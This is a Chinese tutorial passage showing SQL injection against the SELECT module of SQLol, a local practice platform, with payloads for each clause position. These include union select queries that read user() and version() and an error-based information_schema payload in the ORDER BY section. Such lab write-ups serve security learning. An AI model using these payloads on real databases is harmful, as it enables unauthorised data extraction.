前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。

一条完成Select语句,大致可以这样表示:

SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]

接收的参数可能拼接到上述语句中【】的任一个位置。

注射位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。

1、联合查询(union select)

2、报错注入

3、盲注(布尔类型、时间延迟类型)

有的注入点可以同时使用多种方法注入,这里只演示一种。

下面演示注入到不同位置的方法。

一、WHERE 子句里的字符串

Tips:字符型注入;

在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC 

可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:

admin' union select user()#

如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

二、WHERE 子句里的数字

Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;

在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC

构造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC 

如下图,我们取得数据库用户名。

三、整个语句

Tips: 直接可以执行任何sql语句

在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

select * from users

可以在这里输入任何的sql语句执行。

四、Column 名称

Tips: 注入位置在username

 SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

利用方式:

1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

替换version(),输入其他数据库查询语句,可查询其他数据

五、Table 名称

Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

利用方式:

1、输入正确的表名,union select查询

 

六、ORDER BY 子句

Tips:注射位置在order by

当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。

利用方式:

报错注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

得到数据库sqlol,可以使用其他语句继续报错注入。 

参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

七、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

利用方式:

1、与order by 一样,直接报错注入

2、在MSSQL中,可以利用group by  , having 进行爆当前列

八、HAVING 子句

Tips:having位置

利用方式:

报错注入

最后

欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

SQL注入测试平台 SQLol -2.SELECT注入测试的更多相关文章

  1. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  2. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  3. SQL注入测试平台 SQLol -4.UPDATE注入测试

    访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...

  4. SQL注入测试平台 SQLol -1. 简介与安装

    最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...

  5. SQL注入测试平台 SQLol -6.CHALLENGES挑战

    SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...

  6. 《SystemVerilog验证-测试平台编写指南》学习 - 第1章 验证导论

    <SystemVerilog验证-测试平台编写指南>学习 - 第1章 验证导论 测试平台(testbench)的功能 方法学基础 1. 受约束的随机激励 2. 功能覆盖率 3. 分层的测试 ...

  7. 移动APP云测试平台测评分析

    随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.有专家预测,2017年的App应用下载量将会突破2500亿,整个移动科技市场规模将会达到770亿美元.身处在这个"移动&quo ...

  8. 移动app云测试平台

    一:移动App云测试平台 1.云测试平台背景 随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.但是因为安卓和IOS的碎片化,尤其是安卓,因为完全开源的原因,导致设备繁多,品牌众多,版本 ...

  9. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

随机推荐

  1. 一模 (4) day1

    第一题: 题目大意:给出N个人之间转账的手续X%,求出A转给B至少要多少钱才能使B得到100元.结果保留8位小数:N<=2000 解题过程: 1.很容易看出这题的图论模型,每条边的权值就是(1- ...

  2. ubuntu 下串口调试工具 minicom安装与配置cutecom安装

    安装minicom:     $sudo apt-get install minicom 配置minicom:    如果您的系统的默认语言不是英文,请执行下面的命令:     $LANG=EN    ...

  3. JAVA每日一记

    1.两个最基本的java回收算法:复制算法和标记清理算法                 复制算法:两个区域A和B,初始对象在A,继续存活的对象被转移到B.此为新生代最常用的算法            ...

  4. JS中javascript:void(0)真正含义

    对于下面的代码,其中void(0)的含义是什么? <a href="javascript:Test();void(0);">hello</a> 其实,Jav ...

  5. SharePoint表单和工作流 - Nintex篇(二)

    博客地址 http://blog.csdn.net/foxdave 接上篇点击打开链接 试用版获得的示例网站是一个SharePoint 2010 Server版的网站,我们先来看一下Nintex整个一 ...

  6. 转:115个Java面试题和答案——终极列表(上)

    转自:http://www.importnew.com/10980.html 本文我们将要讨论Java面试中的各种不同类型的面试题,它们可以让雇主测试应聘者的Java和通用的面向对象编程的能力.下面的 ...

  7. Codeforces Round #247 (Div. 2)

    A.水题. 遍历字符串对所给的对应数字求和即可. B.简单题. 对5个编号全排列,然后计算每种情况的高兴度,取最大值. C.dp. 设dp[n][is]表示对于k-trees边和等于n时,如果is== ...

  8. jQuery tab plugin

    /* www.keleyi.com/ */ ; (function ($) { $.fn.extend({ Tabs: function (options) { // 处理参数 options = $ ...

  9. msf生成shellcode

    msfpayload windows/exec CMD = calc.exe EXITFUNC=thread C 在kali Linux2.0新版中msfpayload命令已删除,功能已集成到msfv ...

  10. ubuntu  输入时弹出剪切板候选项

    fcitx很坑的把这个功能的快捷键设置成了ctrl + ;结果我在用vim的时候怎么也 没法输入command 不知道是哪次更新引入的,简直是坑人! 我找了半天系统设置都没找到这个快捷键是在哪设置的. ...